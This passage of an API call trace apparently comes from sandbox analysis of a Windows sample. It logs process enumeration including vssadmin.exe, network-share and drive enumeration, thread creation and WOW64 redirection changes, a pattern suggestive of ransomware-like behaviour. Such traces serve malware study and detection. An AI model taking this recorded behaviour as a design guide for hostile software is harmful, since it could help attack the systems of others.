lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0065.972] lstrlenW (lpString="vssadmin.exe") returned 12 [0065.972] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0065.973] lstrlenW (lpString="VSSVC.exe") returned 9 [0065.973] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.129] lstrlenW (lpString="svchost.exe") returned 11 [0066.129] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0066.150] lstrlenW (lpString="LogonUI.exe") returned 11 [0066.151] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.151] lstrlenW (lpString="svchost.exe") returned 11 [0066.151] Process32NextW (in: hSnapshot=0x218, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0066.152] CloseHandle (hObject=0x218) returned 1 [0066.152] Sleep (dwMilliseconds=0x1f4) Thread: id = 9 os_tid = 0xa8c [0041.740] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff [0041.740] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f4a58 | out: hHeap=0x6c0000) returned 1 Thread: id = 10 os_tid = 0xa90 [0041.740] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a58 [0041.740] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a58, Size=0x20) returned 0x6f5c78 [0041.740] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f5c78, Size=0x40) returned 0x6f6c58 [0041.740] GetLogicalDrives () returned 0x4 [0041.741] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x72e4c0 [0041.741] GetComputerNameW (in: lpBuffer=0x72e4c4, nSize=0x248ff6c | out: lpBuffer="XDUWTFONO", nSize=0x248ff6c) returned 1 [0041.741] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1000) returned 0x73e4c8 [0041.741] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x248ff3c | out: lphEnum=0x248ff3c*=0x6f61c8) returned 0x0 [0041.741] WNetEnumResourceW (in: hEnum=0x6f61c8, lpcCount=0x248ff38, lpBuffer=0x73e4c8, lpBufferSize=0x248ff40 | out: lpcCount=0x248ff38, lpBuffer=0x73e4c8, lpBufferSize=0x248ff40) returned 0x103 [0041.741] WNetCloseEnum (hEnum=0x6f61c8) returned 0x0 [0041.741] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x248ff3c | out: lphEnum=0x248ff3c*=0x40022c8) returned 0x0 [0044.729] WNetEnumResourceW (in: hEnum=0x40022c8, lpcCount=0x248ff38, lpBuffer=0x73e4c8, lpBufferSize=0x248ff40 | out: lpcCount=0x248ff38, lpBuffer=0x73e4c8, lpBufferSize=0x248ff40) returned 0x0 [0044.729] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1000) returned 0x40244d8 [0044.729] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x73e4c8, lphEnum=0x248ff10 | out: lphEnum=0x248ff10*=0x6f6348) returned 0x0 [0045.091] WNetEnumResourceW (in: hEnum=0x6f6348, lpcCount=0x248ff0c, lpBuffer=0x40244d8, lpBufferSize=0x248ff14 | out: lpcCount=0x248ff0c, lpBuffer=0x40244d8, lpBufferSize=0x248ff14) returned 0x103 [0045.091] WNetCloseEnum (hEnum=0x6f6348) returned 0x0 [0045.091] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1000) returned 0x4048520 [0045.091] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x73e4e8, lphEnum=0x248ff10 | out: lphEnum=0x248ff10*=0x0) returned 0x4b8 [0064.308] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1000) returned 0x405a5b0 [0064.308] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x73e508, lphEnum=0x248ff10 | out: lphEnum=0x248ff10*=0x0) returned 0x4c6 [0064.311] WNetEnumResourceW (in: hEnum=0x40022c8, lpcCount=0x248ff38, lpBuffer=0x73e4c8, lpBufferSize=0x248ff40 | out: lpcCount=0x248ff38, lpBuffer=0x73e4c8, lpBufferSize=0x248ff40) returned 0x103 [0064.311] WNetCloseEnum (hEnum=0x40022c8) returned 0x0 [0064.311] GetLogicalDrives () returned 0x4 [0064.311] Sleep (dwMilliseconds=0x64) [0064.558] GetLogicalDrives () returned 0x4 [0064.558] Sleep (dwMilliseconds=0x64) [0065.468] GetLogicalDrives () returned 0x4 [0065.469] Sleep (dwMilliseconds=0x64) [0065.873] GetLogicalDrives () returned 0x4 [0065.873] Sleep (dwMilliseconds=0x64) [0066.090] GetLogicalDrives () returned 0x4 [0066.091] Sleep (dwMilliseconds=0x64) [0066.262] GetLogicalDrives () returned 0x4 [0066.262] Sleep (dwMilliseconds=0x64) [0066.511] GetLogicalDrives () returned 0x4 [0066.511] Sleep (dwMilliseconds=0x64) Thread: id = 11 os_tid = 0xa94 [0042.601] GetTickCount () returned 0x1145a22 [0042.601] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x24) returned 0x70bfb0 [0042.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x70bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0042.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x70bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0042.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x70bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0042.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x70bfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0042.607] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x7102b0 [0042.607] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7102b0, Size=0x20) returned 0x6f5d68 [0042.607] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x7102b0 [0042.607] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7102b0, Size=0x20) returned 0x6f5d90 [0042.607] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0042.607] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0042.607] Wow64DisableWow64FsRedirection (in: OldValue=0x25cff84 | out: OldValue=0x25cff84*=0x0) returned 1 [0042.607] lstrlenW (lpString="kernel32.dll") returned 12 [0042.607] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5d68 | out: hHeap=0x6c0000) returned 1 [0042.607] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0042.607] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5d90 | out: hHeap=0x6c0000) returned 1 [0042.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6fb450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0042.609] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.860] GetTickCount () returned 0x1145a9f [0042.860] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.103] GetTickCount () returned 0x1145b3b [0043.103] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.206] GetTickCount () returned 0x1145ba8 [0043.206] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.480] GetTickCount () returned 0x1145c92 [0043.480] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.728] GetTickCount () returned 0x1145d8b [0043.728] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.054] GetTickCount () returned 0x1145e66 [0044.054] GetTickCount () returned 0x1145e66 [0044.054] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.974] GetTickCount () returned 0x1146059 [0044.974] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.431] GetTickCount () returned 0x11461fe [0045.431] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.959] GetTickCount () returned 0x1146411 [0045.959] GetTickCount () returned 0x1146411 [0045.959] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.289] GetTickCount () returned 0x1146558 [0046.289] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.804] GetTickCount () returned 0x114671d [0046.804] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0047.129] GetTickCount () returned 0x1146864 [0047.129] GetTickCount () returned 0x1146864 [0047.129] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0047.628] GetTickCount () returned 0x1146a48 [0047.628] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.182] GetTickCount () returned 0x1146c4b [0048.182] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.544] GetTickCount () returned 0x1146d92 [0048.544] GetTickCount () returned 0x1146d92 [0048.544] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.942] GetTickCount () returned 0x1146eca [0048.942] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.361] GetTickCount () returned 0x114706f [0049.361] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.559] GetTickCount () returned 0x114712b [0049.559] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.119] GetTickCount () returned 0x114735c [0050.119] GetTickCount () returned 0x114735c [0050.119] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.654] GetTickCount () returned 0x114755f [0050.654] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.046] GetTickCount () returned 0x11476e5 [0051.046] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.202] GetTickCount () returned 0x1147781 [0051.202] GetTickCount () returned 0x1147781 [0051.202] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.386] GetTickCount () returned 0x114780d [0051.386] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.715] GetTickCount () returned 0x1147965 [0051.715] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.107] GetTickCount () returned 0x1147acb [0052.107] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.589] GetTickCount () returned 0x1147caf [0052.589] GetTickCount () returned 0x1147caf [0052.589] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.979] GetTickCount () returned 0x1147e16 [0052.980] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0053.398] GetTickCount () returned 0x1147ed1 [0053.398] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0053.666] GetTickCount () returned 0x1147fea [0053.666] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.098] GetTickCount () returned 0x114818f [0054.098] GetTickCount () returned 0x114818f [0054.098] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.470] GetTickCount () returned 0x1148305 [0054.470] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.744] GetTickCount () returned 0x114841e [0054.744] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.196] GetTickCount () returned 0x11485e3 [0055.196] GetTickCount () returned 0x11485e3 [0055.196] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.498] GetTickCount () returned 0x114870b [0055.498] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.770] GetTickCount () returned 0x1148814 [0055.770] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.965] GetTickCount () returned 0x11488df [0055.965] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.217] GetTickCount () returned 0x11489d9 [0056.217] GetTickCount () returned 0x11489d9 [0056.217] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.399] GetTickCount () returned 0x1148a94 [0056.399] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.697] GetTickCount () returned 0x1148bbc [0056.698] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0057.171] GetTickCount () returned 0x1148d90 [0057.174] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0058.172] GetTickCount () returned 0x1149177 [0058.172] GetTickCount () returned 0x1149177 [0058.172] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0058.423] GetTickCount () returned 0x1149280 [0058.423] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0058.797] GetTickCount () returned 0x11493f6 [0058.797] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0058.957] GetTickCount () returned 0x1149492 [0058.957] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0060.092] GetTickCount () returned 0x1149905 [0060.092] GetTickCount () returned 0x1149905 [0060.092] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0060.520] GetTickCount () returned 0x1149aaa [0060.520] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0060.865] GetTickCount () returned 0x1149c02 [0060.865] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0061.241] GetTickCount () returned 0x1149d78 [0061.241] GetTickCount () returned 0x1149d78 [0061.243] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0061.588] GetTickCount () returned 0x1149ecf [0061.588] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0061.844] GetTickCount () returned 0x1149fd8 [0061.844] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0062.396] GetTickCount () returned 0x114a1fa [0062.396] GetTickCount () returned 0x114a1fa [0062.396] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0063.049] GetTickCount () returned 0x114a48a [0063.049] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0063.323] GetTickCount () returned 0x114a5a2 [0063.323] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0063.584] GetTickCount () returned 0x114a69c [0063.584] GetTickCount () returned 0x114a69c [0063.584] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0063.771] GetTickCount () returned 0x114a757 [0063.771] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0064.040] GetTickCount () returned 0x114a870 [0064.040] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0064.293] GetTickCount () returned 0x114a96a [0064.293] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0064.466] GetTickCount () returned 0x114aa15 [0064.466] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0065.462] GetTickCount () returned 0x114adfc [0065.462] GetTickCount () returned 0x114adfc [0065.462] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0065.873] GetTickCount () returned 0x114af91 [0065.873] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0066.091] GetTickCount () returned 0x114b06c [0066.091] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0066.262] GetTickCount () returned 0x114b117 [0066.262] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0066.511] GetTickCount () returned 0x114b211 [0066.511] GetTickCount () returned 0x114b211 [0066.511] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) Thread: id = 12 os_tid = 0xa98 [0042.602] GetTickCount () returned 0x1145a22 [0042.602] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x24) returned 0x710fc8 [0042.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x710fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0042.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x710fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0042.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x710fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0042.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x710fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0042.608] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x7102b0 [0042.608] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7102b0, Size=0x20) returned 0x6f5d90 [0042.608] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x7102b0 [0042.608] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7102b0, Size=0x20) returned 0x6f5d68 [0042.608] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0042.609] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0042.609] Wow64DisableWow64FsRedirection (in: OldValue=0x270ff84 | out: OldValue=0x270ff84*=0x0) returned 1 [0042.609] lstrlenW (lpString="kernel32.dll") returned 12 [0042.609] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5d90 | out: hHeap=0x6c0000) returned 1 [0042.609] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0042.609] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5d68 | out: hHeap=0x6c0000) returned 1 [0042.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x71d460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0042.609] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0042.860] GetTickCount () returned 0x1145a9f [0042.860] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0043.103] GetTickCount () returned 0x1145b3b [0043.103] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0043.203] GetTickCount () returned 0x1145ba8 [0043.203] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0043.487] GetTickCount () returned 0x1145ca1 [0043.503] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0043.728] GetTickCount () returned 0x1145d8b [0043.728] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0044.054] GetTickCount () returned 0x1145e66 [0044.054] GetTickCount () returned 0x1145e66 [0044.054] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0044.973] GetTickCount () returned 0x1146059 [0044.973] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0045.416] GetTickCount () returned 0x11461ef [0045.416] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0045.913] GetTickCount () returned 0x11463e2 [0045.913] GetTickCount () returned 0x11463e2 [0045.913] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0046.289] GetTickCount () returned 0x1146558 [0046.289] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0046.804] GetTickCount () returned 0x114671d [0046.804] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0047.130] GetTickCount () returned 0x1146864 [0047.130] GetTickCount () returned 0x1146864 [0047.130] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0047.628] GetTickCount () returned 0x1146a48 [0047.628] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0048.182] GetTickCount () returned 0x1146c4b [0048.182] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0048.544] GetTickCount () returned 0x1146d92 [0048.544] GetTickCount () returned 0x1146da2 [0048.551] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0048.942] GetTickCount () returned 0x1146eca [0048.942] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0049.361] GetTickCount () returned 0x114706f [0049.361] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0049.559] GetTickCount () returned 0x114712b [0049.559] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0050.119] GetTickCount () returned 0x114735c [0050.119] GetTickCount () returned 0x114735c [0050.119] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0050.654] GetTickCount () returned 0x114755f [0050.654] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0051.046] GetTickCount () returned 0x11476e5 [0051.046] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0051.202] GetTickCount () returned 0x1147781 [0051.202] GetTickCount () returned 0x1147781 [0051.202] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0051.386] GetTickCount () returned 0x114780d [0051.386] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0051.715] GetTickCount () returned 0x1147965 [0051.715] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0052.107] GetTickCount () returned 0x1147acb [0052.107] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0052.588] GetTickCount () returned 0x1147caf [0052.588] GetTickCount () returned 0x1147caf [0052.589] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0052.979] GetTickCount () returned 0x1147e16 [0052.979] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0053.398] GetTickCount () returned 0x1147ed1 [0053.398] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0053.666] GetTickCount () returned 0x1147fea [0053.666] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0054.098] GetTickCount () returned 0x114818f [0054.098] GetTickCount () returned 0x114818f [0054.098] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0054.470] GetTickCount () returned 0x1148305 [0054.470] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0054.744] GetTickCount () returned 0x114841e [0054.744] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0055.196] GetTickCount () returned 0x11485e3 [0055.196] GetTickCount () returned 0x11485e3 [0055.196] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0055.498] GetTickCount () returned 0x114870b [0055.498] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0055.770] GetTickCount () returned 0x1148814 [0055.770] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0055.965] GetTickCount () returned 0x11488df [0055.965] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0056.217] GetTickCount () returned 0x11489d9 [0056.217] GetTickCount () returned 0x11489d9 [0056.217] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0056.399] GetTickCount () returned 0x1148a94 [0056.399] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0056.703] GetTickCount () returned 0x1148bbc [0056.703] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0057.177] GetTickCount () returned 0x1148da0 [0057.180] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0058.173] GetTickCount () returned 0x1149177 [0058.173] GetTickCount () returned 0x1149177 [0058.173] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0058.423] GetTickCount () returned 0x1149280 [0058.423] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0058.797] GetTickCount () returned 0x11493f6 [0058.797] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0058.957] GetTickCount () returned 0x1149492 [0058.957] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0060.092] GetTickCount () returned 0x1149905 [0060.092] GetTickCount () returned 0x1149905 [0060.093] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0060.520] GetTickCount () returned 0x1149aaa [0060.543] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0060.865] GetTickCount () returned 0x1149c02 [0060.865] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0061.244] GetTickCount () returned 0x1149d78 [0061.244] GetTickCount () returned 0x1149d78 [0061.244] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0061.588] GetTickCount () returned 0x1149ecf [0061.588] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0061.844] GetTickCount () returned 0x1149fd8 [0061.844] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0062.395] GetTickCount () returned 0x114a1fa [0062.395] GetTickCount () returned 0x114a1fa [0062.396] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0063.049] GetTickCount () returned 0x114a48a [0063.049] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0063.323] GetTickCount () returned 0x114a5a2 [0063.323] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0063.583] GetTickCount () returned 0x114a69c [0063.583] GetTickCount () returned 0x114a69c [0063.583] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0063.771] GetTickCount () returned 0x114a757 [0063.771] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0064.040] GetTickCount () returned 0x114a870 [0064.040] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0064.293] GetTickCount () returned 0x114a96a [0064.293] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0064.466] GetTickCount () returned 0x114aa15 [0064.466] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0065.250] GetTickCount () returned 0x114ad21 [0065.251] GetTickCount () returned 0x114ad8e [0065.357] WaitForSingleObject 